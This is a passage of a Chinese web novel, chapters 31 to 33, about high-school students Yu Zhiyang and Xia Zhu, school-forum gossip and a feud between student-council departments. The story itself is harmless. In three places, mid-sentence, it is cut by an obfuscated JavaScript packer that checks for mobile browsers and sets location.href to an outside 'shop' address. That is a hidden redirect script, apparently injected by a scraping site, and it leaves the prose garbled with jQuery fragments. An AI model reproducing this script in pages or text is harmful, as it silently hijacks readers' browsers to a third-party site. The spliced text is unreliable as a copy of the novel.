“滚！怎么还有同人文？？吹牛麻烦打下草稿好吗！！” “可恶！离谱！胡说八道我什么时候和她同居了？说了不熟不熟！这些人是眼瞎的吗？一天天造谣这点破事，个个吃饱了撑的！” 他光着脚在地板上走来走去，拇指不断上滑，源源不断有新的帖子冒出来。 帖子越沉底越没什么热度，于支扬却在此刻看见了一条点赞不高、评论量却超标的帖子。这个帖子的标题使用蓝字标记，在清一色的黑色字体中格外吸睛。 名字也很独特，写的是夏注和沈通。于支扬一眼就看见了。 都市飞雨：【别磕错cp了各位，夏注喜欢的是沈通，你们不知道吗？不然怎么可能报名纪律部，退出纪律部是迫不得已。夏注进升华班就是为了沈通去的，于支扬纯属小三挖墙脚。】 底下评论回复：【好家伙，你怎么知道啊？我就说夏注进步怎么这么大，原来是为了真爱？】 【真爱个屁！反驳，他俩根本不熟！】 【吹牛吧？你是一班的吗？你是亲眼见着的，还是听着了？】 【靠！说谁小三呢？腻素质呢？】 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214338|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 于支扬息了音，坐在床边细细翻看每一条评论，企图从中找出一点他想看到的东西，可是没有，他也说不清他究竟在找什么，又想证明什么。 房间里没开窗户，于支扬只觉此刻闷热异常，好似胸口有什么东西将出不出，堵得他快要窒息。被一条语焉不详的帖子扰到心烦意乱，这无疑是很不明智的反应，他不该这样。 可是帖子里说夏注喜欢的是沈通，进升华班也是为了沈通…… 屏幕上“小三”两个字实在太刺眼，于支扬看着看着，神色晦暗不明，颤抖的幅度越来越明显，心头逐渐燃起一股无名火，越烧越旺。 他一只手紧紧攥着枕头，终于忍无可忍，用尽全身力气把手里那物扔出去。 扔出去的是一团柔软，最后落地散开来的，自然也是一片柔软。 男孩子气冲冲转身又要去抓第二个枕头，却不知在某些柔软的东西面前，无论再怎么用力施压也是徒劳的，一切不甘只会反噬在自己身上。 “没智商就别TM出来秀脑子！夏注什么时候是沈通的了？！” “哦？那她是谁的呀？” “我的！！”于支扬脱口而出。 站在门口的小姨：“……” 于支扬：“……” 大声喊完这一句，于支扬的大脑瞬间一片空白。他不知道小姨是什么时候上的楼，不知道她在什么时候不声不响开了门，更不知道她是什么时候站在自己身后。 姨侄两人一个站在门外，一个站在门内，枕头躺着中间地板上，大眼瞪小眼，空气陷入一片诡异的沉静…… 卧…槽？他刚刚说了什么？！ 于支扬后知后觉反应过来，神色大变，整个人都慌了，开始语无伦次地找补：“不是！不不……没有！我误，我口……我口误！口误！” 小姨双目圆瞪愣在原地，唇角微张，震惊得说不出话来，活像刚有一道滚滚天雷从天而降，劈得她外焦里嫩……这是什么鬼动静？谁是谁的？她刚才随口一诈是诈出了什么东西？ 于支扬似乎也十分懊恼，意识到自己口不择言，抓着后脑勺背过身去，慌里慌张地准备解释的措辞。 支瑶好半晌才轻轻喘了口气，见于支扬不敢看她，弯腰捡起地上的那只枕头，“行了，老实交代吧，夏注，是谁呀？” 于支扬：“没有，你听错了。” 支瑶举起枕头毫不留情朝他后脑勺砸去，“老实交代！你是不是又在外面祸害人家小姑娘了？！” “哎呦！”于支扬被砸得一个踉跄，终于转过来愤愤不平道：“小姨你别胡说！我什么时候祸害过姑娘！！” “哎呀我就是试探一下嘛嘿嘿嘿……” 于支扬：“……” 呸，为老不尊。 支瑶：“那你快说呀，夏注到底是谁？你要是不告诉我，那我打电话去问你班主任了哦？” 大侄子一脸郁闷的坐在床边，垂下脑袋把脸埋进掌心，似乎不太想搭理人。闷声道：“姨，你能不能做个人？能不能？” “那你告诉我你是不是谈恋爱啦？” “没有。” “那你就是有喜欢的人啦？” “……” 31.第三十一章 于支扬没回答，咕噜一个翻身滚上了床，背对着她裹上了被子，“我要睡觉了，你出去，出去！” 支瑶走过去扯他被子，把人从被窝里挖了出来，“哎你睡什么觉？把话说清楚，你什么时候变得这么怂了？” 于支扬在床上扑腾了两下：“姨你能不能出去！我真要睡觉了！” “……”大侄子从小就爱在她面前耍这种没什么用的小脾气。 支瑶记得在于支扬小学三年级的时候，有一次开家长会，老师要求孩子给自己家长写信。她当时临时顶包，不知道于支扬那封信原本是写给他爸爸的，就拆开看了。 三年级，刚学会编故事的年纪，小作文写的用力过猛，感动得她一塌糊涂，回去就叫于支扬也给她写一封。 于支扬那个时候还很腼腆，跟她又不熟，把自己关在房间里不好意思出来。小姨给他递纸笔，他就扯开话题；小姨来敲门，他就躲进被子里假装听不见；小姨把他从被窝里提溜起来，他就用手捂住自己涨红的脸，把自己最柔软的一面掩藏起来，像只滑溜溜的敏感蜗牛。 结果小姨最擅长的就是剥壳卸甲。她回想了一下，最后好像是双方各退一步，于支扬当着她的面，把那封信的人称改成给小姨，然后大声诵读了一边才算过关的。 支瑶坐在床边，手里死死按着被子，面上笑嘻嘻道：“你今天跑不了我跟你说，在我面前还不说实话？你要是不喜欢那个女孩子，你发这么大脾气干什么？” 于支扬：“我就是气她跟我死对头走得近而已！那人成天疯疯癫癫的没点边界感，我一看见就烦！怎么可能喜欢她？” 支瑶沉默了。 她一直觉得自己大侄子从小就头脑灵活，长大后受她熏陶，随便往人堆里一扎就能侃侃而谈，再加上那张好看的脸，随便一开屏，天生就是祸害小姑娘的料。 她本来挺焦虑孩子不学好，可是直到今天才发现自己可以想多了……支瑶有点想不通自己一个堂堂万人迷女王，怎么会教出这么个不开窍的玩意儿？ 见于支扬又朝被窝里钻，一副不想面对的姿态，她赶紧把人刨出来。 “大侄子你听我说啊，有没有一种可能……诶，你别捂耳朵……” 小姨把他两只手掰开，语气认真：“有没有一种可能，你不希望那个女孩子跟别人走得近，是因为你想让她的世界里只有你；你一见到她就心烦意乱，是因为你还没做好准备。” “可这就是喜欢呀，喜欢了，就要好好把握呀！” 于支扬：“……” 他喜欢夏注？这是喜欢？ 于支扬的呼吸停滞了一瞬，刹那间感觉堵在胸腔那股将出不出的气一下子全通了。 厌恶为什么会是喜欢？这明明是两种截然不同的极端！他用力喘息着，随即心口开始一阵狂跳。喜欢上这种恬不知耻贴上来又是骚扰又是造谣两面三刀不择手段油嘴滑舌的女生，那他估计也是疯了！疯得彻底！ 他现在脑子里全是夏注附在他耳边低语的嗓音，操场上那一瞬间与他十指相扣的触感，雨天蜷缩在格桑花旁边的乖巧，考场外气场全开的挑衅，以及夏注手心捧他脸颊的温度……各种各样的她。 理智不允许他喜欢这样的女孩子，骨子里的高傲叫嚣着他应该看不起夏注的，但又说不出这个人到底哪一点值得他看不起，没有。 她很好，聪明，漂亮，有野心，内心强大，永远拥有热爱的胆量，永远张牙舞爪、栩栩生辉，是一切理性与感性的结合体，没有一点不在吸引着他。 夏注从一开始就说喜欢他，说了无数遍，或真或假，但他一次也没有回应过。 夏注没有什么不好，不愿意直面内心是他自己不好。 念着对方的好，很容易就会忘记一切不好，不需要挣扎太久。于支扬终于接受了一个现实，他可能，真的，喜欢夏注，很喜欢。喜欢到可以将她从前那些过激的行为一笔勾销，喜欢到她再过分也会觉得很可爱。 压抑已久的隐秘情感在这一刻被人戳破，少年的爱恋初见天光。 于支扬的气息紊乱不平，缓缓坐直身子，大概接受这些需要很多时间。支瑶见他不再反抗，搓搓手心，温声道：“当然了，你现在没准备好也没关系，可以等到你做好准备那一天，再去告诉她，你……” “可她不喜欢我。” “啊嘞？？” 这下轮到支瑶不相信了，“不是吧？怎么还会有女孩看不上你？！” 于支扬垂下头，没说话，脑海里闪过不久之前，那对兄妹俩隔在墙外说的对话： 【“夏注！夏注我跟你说！这要是发出去，你得被唾沫星子淹死！” “我有我的道理，你别管！” “不行，不对劲，你必须给我说清楚你到底站哪边的？表面上苦追于支扬，实际上心里喜欢的是沈通？” “是是是，我喜欢行了吧，你快拿来！以后别把我跟于支扬归一对！我的事与他无关……”】 “……” 小姨在房间里来回踱步，百思不得其解：“我教出来的娃，讨女孩子欢心没问题的好吧？虽然嘴碎了点，但也不是什么大毛病……嘶，她怎么就看不上你？” 于支扬揉了揉眉心：“你能别在晃来晃去的吗？我要睡觉，我明天还要上课……” “扬扬，去跟她表白！明天就去！” “姨！你能不能不要想一出是一出？我要睡觉！你让我睡觉行不！” 支瑶三两步走过来坐在床边，认真分析道：“我这是百分百诚恳的建议！你听我说，喜欢女孩子就要把握的呀！你们这个年纪是最纯粹的阶段了，错过了这村可没……” 不等她说完，于支扬毫不犹豫跳下床推着她朝门外走，“出去出去！你怎么这么啰嗦？” “等一下！你不会追女孩子我可以教你的嘛，你不信我是不是，你知不知道我当年迷倒了多少……” “我信你个鬼，不用你教！出去出去！” 于支扬合上房门，顺便落了锁，心想刚才真是太大意了。小姨打不开，在门外又砰砰拍了几下，“臭小子你还睡得着啊，心真大！” 他从枕头下面翻出手机，屏幕已经灰暗下去，还停留在刚才那个页面，轻轻一触碰，又亮了，夏注和沈通的配图合照有点刺眼。 夏注退出纪律部后写给沈通的那封检讨书，他至今想不通理由。 — 六点五十，科技楼一楼，杨宝儿提着两杯热牛奶到门口，看见普星星在后面，隔着大老远跑回去跟她们一道。 “早啊星子，看见苗渔了吗？” 普星星摇摇头：“没呢，班长应该直接去教室了，不会过来了。” 她旁边站着升华二班的数学课代表李悦玲，高高瘦瘦的，外号「三鲜」，十分自来熟地指了指杨宝儿手里的东西：“哟，宝爷！早餐买给谁的呀？” 杨宝儿看出她的意图，赶紧把牛奶护在怀里：“给我们班苗渔宝贝带的，想喝自己买去！” 几个女生走进电梯，三鲜按下三楼按键，叹气道：“唉，说好的早起的鸟儿有虫吃呢？我今天都来这么早了，也喝不上一杯热牛奶……” 杨宝儿啧一声：“你戏咋那么多呢，你一个住校生跟我一个走读的比，想吃早点你就不会提前起床？” 三鲜：“没经验嘛，我平时这个点还没起呢。” 杨宝儿：“那请问您今天来这么早，是为了？” 三鲜：“呐，我室友睡过头了，我来替她签到的！” 杨宝儿一时语塞。 旁边的普星星有些纳闷：“啊，宣传部的也要每天签到？” “不是啊。” 几人同时走出电梯，三鲜跟在普星星后面，从兜里掏出一只口罩戴上，狗狗祟祟道：“我室友是纪律部的！没办法，沈通管的严啊。星星，你替我打个掩护！好人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16246482|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生108只猫狗环绕，拜托拜托……” 普星星也无言以对。 两人签完字从纪律部办公室出来，站在楼梯口等杨宝儿。三鲜摘下口罩，长长呼出一口气，“好险，沈通每天都这么守着吗？守完学生会还要去守教室？真牛逼！” 普星星表示赞同：“狠人一个，有的是力气和手段。” 三鲜：“你们好惨，我们宣传部就不用天天签到啊，连于支扬他自己都不来。论如何悠闲的摸鱼，我们部长排第一，谁还敢排第二？” 普星星：“……” 身后传来“叮”一声，电梯门缓缓打开，三楼来来往往的学生比刚才更多了。 三鲜继续侃侃而谈：“看在咱是私交，我跟你说，我们私下里给部长取的外号叫「喜之懒羊羊」哈哈哈哈！因为他总是迟到，而且我们部门群里有很多女生都偷偷把昵称改成了「黑白灰太狼」，还有本部门知名情头！你要不要看？我现在就……喂！你这是什么表情啊？你到底听没听我说话？” 普星星重重咳了一声，倒没露出特别夸张的表情，而是用手扯了扯她的袖子。 三鲜浑然不觉：“怎么了？不好笑吗？” 身后传来一道低沉的嗓音，后面两个字刻意延长：“好笑，怎么不好笑？” 女孩子整个脑袋“轰”一声，omg完了！！这无比熟悉的声音不是自家部长又是谁？她甚至来不及看清于支扬的脸，当即转身后退两步，脱口而出：“部长部长，误会！天大的误会！” 于支扬站在原地没动，双手插兜盯着她，眼下乌青一片，似乎精神不佳。 他昨晚一夜没睡好，凌晨4点起床刷了两份试卷，看时间还早，于是一路从家走着来学校的。 三鲜怔愣一瞬，当即举起三根手指：“部长，这是个误会，我发誓我以后再也不敢了！我保证天知地知，你知我知她知，部长求原谅！” 于支扬：“……” 普星星露出不忍直视的表情，心说你们宣传部的才叫真牛逼，说变脸就变脸，上梁不正下梁歪，指定有点说法。 于支扬的视线在两个女生脸上扫过，最后也没说什么，转身要走。正当三鲜还在诧异部长今天怎么这么好脾气的时候，于支扬忽然转身道：“通知宣传部全体成员，五分钟后开个早会。” 三鲜：“哦哦好的！” 五分钟后，宣传部办公室。 公用的大会议室被其他部门提前占了，宣传部的早会还是在办公室开。 后门没关，源源不断有人从后门溜进来，不多时就挤满了人。后来的人看见没位置了，干脆就靠墙站着，有的坐在桌子上，有的席地而坐，姿态随意。 于支扬靠在办公室正前端的部长办公椅上闭目养神，双手抱胸，微微后仰，他面前的办公桌上空荡荡一片，但没人敢坐上去。 杨升从后门窜进来，兴冲冲扑进人堆：“哈喽兄弟们！我来了！我靠，为啥突然开会啊？上次早会还是开学的时候吧？” “不知道呀，都没提前通知，我都已经进教室了，差点没看见……” “嘿你们吃早点了没？待会儿结束一起去吃东西吗？我专门跟老师请假了哈哈哈！” “big胆！我怎么没想到……” 办公室里又是一阵喧闹，于支扬睁开眼，看了一眼看手表，也不关心人有没有来齐，翻手扣了扣桌子。 “安静点，我抽十分钟开个早会，不会耽误你们早读。” 于支扬挪了挪椅子，缓缓坐直身子，把双手放在办公桌上，“马上就是学校30周年校庆了，我原本以为，你们在宣传部应该很忙……” “没想到诸位很闲嘛。” 此言一出，周围鸦雀无声。不少人脸上露出惊疑神色，纷纷开始环顾四周。 于支扬凌厉的视线一一扫过前排的几位，嘴角带笑：“负责校园论坛管理的是哪位？请站出来。” 32.第三十二章 于支扬怎么突然要查校园论坛了？ 在场的人相互对视一眼，纷纷有种不好的预感。 一中的社交论坛很开放，开放到隔壁二中三中都能进来闲逛，社会人士也能随时爬墙发言，这早就不是什么秘密了。 宣传部的管理员们大号不冒泡，小号狂冲浪，对论坛上的近期沸沸扬扬的消息不可能一无所知，大家理所应当的认为，于支扬私底下也应该是这样的。所以现在完全想不通于支扬平时都是睁一只眼闭一只眼，那今天怎么就突然开始过问了，还一副兴师问罪的架势？ 谁能想到他们部长还真TM就从来不看！ 这下经某人提醒，一朝打开论坛，满屏惊喜看得眼花缭乱，cp楼一通上蹿下跳，直接舞到正主面前，正主偏偏还是自家部长。 人群里的付少校缩了缩脖子，假装无事发生。 于支扬又问了一遍：“是哪位？请站出来。” 人群缄默了几秒，终于有人举起右手，往前走了几步，“部长，是……是我……” “这么巧，又是你？” 于支扬道。 为什么要加上“又”？？出列的人正是三鲜，听出于支扬话里有话，她勉强扯出一抹苦笑：“这真是误会了哈哈哈，我可以解释的……” “我记得学校论坛管理条例里面，第三条说的很清楚：禁止发表造谣、不实、出发于个人观点煽动他人的言论。最近的校园论坛上，出现了很多把普通同学关系造谣成情侣的帖子！” 于支扬的指节在桌面上轻轻敲击，“很多学生因为意见不合开始互喷、争吵、辱骂、造谣，严重影响到校园论坛的正常氛围！” 三鲜：“部长……我可能看漏了哈哈哈……” “同学，你是看漏了还是聊嗨了？这些不实的造谣贴子，是不是该删一删了？” “删删删！我马上就删！！” 于支扬翘起一条腿，轻轻后仰，面上明明笑着，好像完全不会生气的样子，却莫名让人感觉后背发凉。三鲜鸡皮疙瘩都起来了，手忙脚乱地从包里翻出手机。 “等一下。”于支扬又道，“删归删，学校论坛还要注意维持热度，你知道该怎么删吗？” 三鲜：“啊？那部长你的意思是？……” 于支扬：“删一部分，留下一部分。” 这要怎么区分？三鲜端着手机不知所措，就只听见自家部长说：“吵得最凶的帖子基本上都跟沈通有关，先删这些吧。另外，把那些乱七八糟的cp楼全端掉，以后论坛上不允许再出现这种东西。” 在场的没一个反应迟钝的，无数双眼珠滴溜溜的转，很快察觉出不对味来。 “好家伙，多少带点私人恩怨……” 付少校战略性咳嗽两声：“这不好吧，纪律部回头肯定要来找事的……” “切，我们部门难道怕事吗？” 杨升靠在墙边转帽子玩，一脸不屑道：“有什么大不了的，平日里他们不也经常给咱们使绊子吗？我昨天还被那几个执勤的堵在学校门口不给进，明明还没响铃，她们非把我堵到上课响铃，然后说我迟到！没道理一直被人欺负还不能反抗了！” “我靠？过分了吧？” “太对了！我上次也是，故意耽误我时间还判我迟到！神经病嘛这不是……” “我也被堵过！简直说不通！” 后排有人接二连三插话打抱不平，于支扬眉头紧蹙：“怎么还有这种事？” 杨升连连点头：“有啊部长！他们应该是不敢拦你，所以你不知道，纪律部的惯用手段了。呵呵，一个个表面上道貌岸然，背地里折腾人的阴招多着呢！” “删删删！欺人太甚了，给他们全都删光！” 三鲜来了劲，端着手机就开始一顿操作，文件粉碎音一声接一声响起。 “等等。”于支扬打断了她，“按照我刚才说的做，你回去再删，不确定的发群里问我。” 想了想，又补充上一句：“不要擅作主张。” “哦，知道了部长。” “行了安静！接下来我分配一下校庆期间我们部门的任务……” 一堂早会刚好十分钟结束，于支扬宣布散会后，离早读还差点时间，三鲜跟在他后面一起下楼，顺便问了几句论坛管理的注意事项。刚出一楼电梯，于支扬忽然听到了一句清脆的 “嗨！夏注，早上好啊！” 于支扬脚步一顿，以雷霆般的速度，迅速拐进了身后另一条走廊。 夏注很快出现在一楼大厅门口，径直走向一楼大厅值班的女生，问道：“请问打印室是哪间？” 那女生给她指了个方向，夏注已经走了几步，隐约察觉到什么，又忽然转身看向这边。于支扬赶紧把脑袋缩回来，心想吓死了，幸亏没看见…… 结果下一秒，隐隐约约听见有脚步声靠近。 “夏注，你去哪儿啊？”那边有人大喊，“打印室在这边呐，我给你开门！” “哦，马上来！” 脚步声逐渐远去，于支扬松了一口气，贴在墙上冷静了一会儿，才后知后觉反应过来：等等？他为什么要躲？？ 三鲜站在他旁边目睹全过程，惊得目瞪口呆。她一手抱着书包，一手端着手机：“部长，您这是？……” 于支扬回过神来，被眼前这人吓了一跳：“你！你什么时候站这的！” “啊？我一直就站在这儿啊，咱俩一起下楼的，是你只顾着看夏注把我给忘了……” 于支扬：“……” 忽然有点心累，宣传部这群人个个都是大嘴巴，但他还是想再挣扎一下。“不准说出去，听见没有？” 三鲜耳朵接收到的：出去说，听见没有！ “听见了听见了！两只耳朵都听见了，部长放心！” 于支扬半信半疑扫了她一眼，转身走了。没看见三鲜在他身后原地起蹦：“哦吼吼真的真的！部长跟夏注居然是真的！卧槽这是什么惊天大瓜，我赢了我赢了！这次我赌赢了……” — 周日下午休息半天，夏注回了一趟家，在校外买了一袋零食，刚上六楼，就看见教师办公室门口有七八个学生排排蹲，狗狗祟祟的，一班二班的都有。 这是闹哪出？ 夏注放轻脚步走过去，也跟着蹲下来，她前面是隔壁升华二班的一个女生，很眼熟，但不知道叫什么。 “诶，你们在做什么？” 夏注拍了拍她的肩膀，小声打听。 “嘘！” 那女生用手指示意她别出声，却在看清夏注的脸后，忽然眼前一亮，甚至往前挪挪，给她腾了个位置。“是你啊！来来来一起听！” 办公室里似乎有人正在争吵，除了普芹劝架的声音，其他几个夏注都没听过。 见夏注一头雾水，那女生赶紧解释：“你还没听说吗？出事了！今天中午纪律部和宣传部又吵起来了，还摔坏了一部手机！” 又是纪律部和宣传部？上次两个部门吵架的画面还历历在目，怎么这次听着好像更严重了？夏注心头一紧，赶紧追问怎么回事。 “宣传部这几天不是正在整顿论坛么？听说删了好多纪律部的帖子，今天一大早，还把人家社团小群给禁言了！纪律部不服气，中午跑到宣传部办公室去讨个说法，结果对面非说是误伤！两边吵着吵着就开始抢手机，一不小心手机砸到地上，给摔坏了！” 那女生附到夏注耳边，压低声音道：“听说那部手机价值八千！人家家长要求全价赔偿，结果另一家不愿意，说手机都旧了……这不，现在正在里边讨价还价呢……” 夏注听完，倒吸一口凉气：“于支扬和沈通呢？他们知道吗？” “肯定知道啊！他俩现在也在里头呢！” 前方有个一班的男生退到夏注旁边，毫不客气地翻了翻夏注手里的零食袋：“夏姐，我能吃包薯片吗？” 夏注干脆推过去随便他拿。小心翼翼站起身想看看里面什么情况，可惜窗帘拉得严严实实，什么也看不见。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16259667|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏注：“宣传部整顿论坛，为什么要禁言纪律部的小群？那小群不是还在吗？” “在是还在，但这个星期可是校庆啊，要评选学生会优秀部门的。虽然被禁言也不影响评比，但这种大日子，肯定会被校领导们看见的，纪律部面子上挂不住啊……” 二班那个女生也跟着翻出一包瓜子，递给夏注一把，继续道：“要我说吧，这明显就是故意针对，禁言就禁言，为啥刚好是七天？还不能提前解开？七天后校庆都结束了喂！” “这下好了，平时只是小打小闹，这次都闹到老师面前了，估计于支扬和沈通也得挨批评。” “啧啧啧，神仙打架，凡人遭殃……” 夏注嘴里被塞了一根辣条，嚼着嚼着，感觉有点头疼。 两个部门之间的争端没完没了，有些小事虽然不起眼，但没有一件不在推动着于支扬和沈通的矛盾雪上加霜。如果终有一天新仇旧恨一起算，后果肯定不可挽回。 就按当前来说，禁言这件事于支扬是否知情？依照夏注对他的了解，他能做出这样的事一点也不奇怪。如果这次真是于支扬故意发难的，有没有什么办法能够让他抽身？ 周围叽叽喳喳，夏注一回神，发现其他同学全围过来了，一个个都跑来翻她的零食，吃得津津有味…… “你们都是饿死鬼吗？”夏注赶紧过去抢救剩下的几包，“这些都是我接下来一周的口粮！你们都给抢光了，那我吃什么？” “没关系啊夏注，我们班生活委员买了好多零食，你可以来我们班吃！随时欢迎！” 升华二班那几个学生听了连连点头：“对对对，欢迎欢迎！” 夏注：“……” 话音未落，教师办公室的门突然从里面被人打开了，众人闻声迅速四散而逃。 夏注一转身，见于支扬和沈通一前一后从里面出来，后者顺手关上了门，只有他们两个人。 于支扬脸色一如往常，看见夏注怀里抱着几包鼓鼓囊囊的薯片，挑了挑眉：“你站这儿干什么？土拨鼠藏零食啊？” 当着沈通的面，夏注不好直入主题，小声道：“你跟我来一下，我有话问你。” 于支扬不置可否，跟着走了几步，不料身后的沈通忽然开口：“夏注！” “？” 夏注略微诧异，停下脚步，见沈通拿着手机稳步走上前来，冷冷扫了于支扬一眼，明显是叫他回避。 于支扬“啧”一声，沈通能有什么话要跟夏注说？还不能让他听？“凭什么”三个字正要脱口而出，就被夏注打断了。 “我们待会儿再说吧，你先回教室。” 夏注把怀里的零食一股脑全塞给他，腾出手来，把长发拨到身后。“放我桌肚里，不准偷吃。” 见他磨磨蹭蹭的还不走，干脆把他转过去推着他走。 于支扬一边走一边嘀咕：“凭什么待会再说？你有话你现在就说，你跟他有什么好说的……” 夏注：“别TM叽叽歪歪，跟你没有关系，你现在任务是守护零食懂吗，走吧走吧。” 于支扬一个人走了几步，最后消失在走廊另一侧。夏注敛去笑意，转身折返，走到沈通跟前，问：“纪委，有什么事吗？” 沈通低头滑动了几下手机，然后把屏幕翻过来给她看。 屏幕上是她的论坛主页，沈通给她看的，是她一个月前退出纪律部后，发布的那篇检讨书。 【纪律部一直是我最向往的部门，可惜我身上背了处分，德不配位，太遗憾了，感谢沈通沈部长愿意接纳，但我却不能蒙混过关。对于本次申报材料造假一事，我已经做了深刻的检讨，感谢沈部长愿意给我改正的机会，我以后一定会好好学习，认真表现，争取下次再申请！】 夏注有些不解，疑惑的抬头看向沈通。心说这个人可能是很少逛论坛，现在才看见，也不算奇怪，但是…… “这个帖子，怎么了吗？” “删掉。” 沈通说。 33.第三十三章 “删掉？为什么？” 当时两个部门吵架吵得厉害，她这条帖子一方面是为了摘清于支扬，另一方面也是为了暂时平战，时间都过去这么久了，现在为什么要删掉？ 倒不是不愿意删，只是她觉得不应该由沈通来提出，毕竟这帖子怎么看都是维护纪律部、维护沈通他本人的。 她想知道个理由。 “没有简历造假，没有处分。” 沈通说：“你在撒谎。” 是的，确实撒了点小慌。全校学生的处分都在纪律部办公室都有登记，瞒不过沈通，这一点夏注早就想到了。她本来也没想瞒，毕竟的的确确就是帮纪律部解了围的，沈通但凡糊涂一点，对她说句谢谢，她也不是担不起。 没想到这人还真就一点也不糊涂，也不领情。 而且不知道是不是错觉，沈通看她的眼神好像又冷了一层。 明明背锅挨骂的人是她，站出来劝个架还是天大的错了？她就想退个纪律部，沈通至于记仇记到现在？ “行，那就删。” 夏注当着他的面拿出手机删掉那条帖子，把屏幕翻过来用手拨动给他看，“看，删掉了，我以后也不会再发这种东西了，你大可以放心。” 沈通：“你对纪律部有意见。” 不是疑问，而是肯定句。 夏注控制不住地拧眉，心想大哥你要不要听你在说什么？夸也不行，以后不夸了也不行？ “没有。我再说得清楚一点，我对纪律部没有任何意见，我想退出，纯粹是因为我从一开始就没有过报名，是我朋友擅作主张，是你们内部弄错了。” 沈通：“无中生友？” 夏注：“你不信我说的话？” 沈通：“满口谎话？” 夏注：“沈通，你别太过分。” 她闭上眼睛叹了一口气，过了一会又缓缓睁开，眼底很冷静。“我说这种一拆就破的谎言有什么意义？我一开始只是想退出而已，是你不同意，要不是你跟于支扬吵起来，这件事也不至于闹大。我从始至终没说过纪律部半点不好，所以你到底在气什么？” 她停顿了几秒，忽然想到了什么：“难道是因为于支扬当着你的面挖人？你把账算在我头上了？” 沈通：“你在替他开脱，难道不是？” 夏注：“……” 夏注这次是真的愣了一下。 透过表象看本质，这人何止是不糊涂，简直聪明过头了。 她背在身后的五指微微收紧，面上一点也没表现出来，过了一会儿再开口，语气温和许多：“沈通，其实你跟于支扬除了学习上的竞争，也没什么深仇大恨嘛，是吧，大家都是同班同学，有什么矛盾不能坐下来好好谈谈……” 沈通似乎听不下去，直接开口打断了她：“幼稚！” 说完这句，绕过她头也不回地走了。 夏注：“？？？” 这都什么人！ 两个高中男生成天为了一点小破事吵吵嚷嚷，变着法给对方使绊子，还不如出去打一架呢，到底是谁更幼稚！ “你这下满意了？” 身后响起一道懒洋洋的嗓音。 夏注回头，见于支扬斜靠在走廊的拐角处，他怀里还抱着那几包薯片，根本就没有离开过。 “偷听别人说话，可不是好习惯。” 夏注走过去，把零食捞过来自己抱着。于支扬轻轻扭动了一下脖子，笑着说：“没有啊，声音它自己跑到我耳朵里的。” 他似乎心情不错，连脚步也等不及落后，赶紧跟上去，抢到夏注前面转过来，倒着走，问：“很没意思的是不是，到头来搞得两边不是人。你看，早知道沈通不会谢你，你现在是不是挺后悔？” 夏注瞥了他一眼，想说我是挺后悔的，话到嘴边，又变成了：“不后悔，我现在觉得我太TM伟大了！应该给我颁个奖，比如天蓬元帅照镜子，或者背锅大使什么的。” “……” 趁他愣神之际，夏注忽然加快脚步扑过去把他按到墙上。 于支扬毫无防备：“？！” 两人中间隔着几包零食袋发出“咯吱咯吱”的摩擦声，夏注左右环顾一圈，六楼只有两个升华班和几间办公室，对面走廊上有几个学生正低头看手机。 “既然你都听见了，那你是不是应该对我说句谢谢？”夏注问。 周围很安静，或许就是因为太安静了，于支扬听着，竟觉得有种莫名的蛊惑力。 她想讨要的好像并不是一句谢谢，而是其他的什么。 于支扬垂眼看她，目光从额角毛绒绒的碎发，到轻微抖动的细长睫毛，一路下滑到嘴唇…… 男孩子眸底涌动的危险情愫逐渐不可控。 夏注浑然不觉，继续踮起脚尖，缓缓靠近，带着点若有若无的笑意，“算了，不说谢谢也行，要不换一个，你能不能退出宣传部，辞掉部长的职位？” “……” 她这话说的轻松，于支扬一愣神，微微皱眉：“什么？” 夏注沉默了几秒，忽然移开视线，这次是真的笑出了声，“我开玩笑的！吓唬你还挺好玩～” 她说完，后退两步，耍闹般朝于支扬眨眨眼，转身朝教室方向去了。 于支扬看着她离开的背影看了好久，心头浮起一抹复杂情绪。 — “亲爱的同学们，老师们，大家下午好！今天我们迎来了海城一中第30周年校庆！” 周一下午两点，午休时间提前结束，校庆开幕式在操场举办，三个年级的学生顶着黑眼圈昏昏沉沉下楼，轰轰烈烈走完了入场方队，气氛烘托到位后，坐在太阳底下排队打瞌睡。 “我校是一所历史悠久的老校，在过去30年历经风风雨雨，自教育改革以来，我校在市内高中资源流动影响力排名前三，一中升华班的影响力范围已经扩大到……” 校领导正在台上热情澎湃的发表校庆感言，演讲的人换了一个又一个。 三个级的学生坐在绿油油的草坪上听，周围一圈人工草皮都快被拔秃了。 夏注把校服外套顶在头上，独自坐在最后一排。听见付少校喊她：“夏注！夏注！有没有充电器？” 有个屁的充电器，这种天气充电宝随便晒一晒都得炸。 夏注摇头：“没有，你找别人问问。” “你看见于支扬没？”付少校爬过来，抓着她的肩膀借力坐直，又问：“他肯定有，但他人不见了！” 真的是爬过来，所有班级都是坐在草坪上的，只有每个班的纪委在走来走去维持纪律。 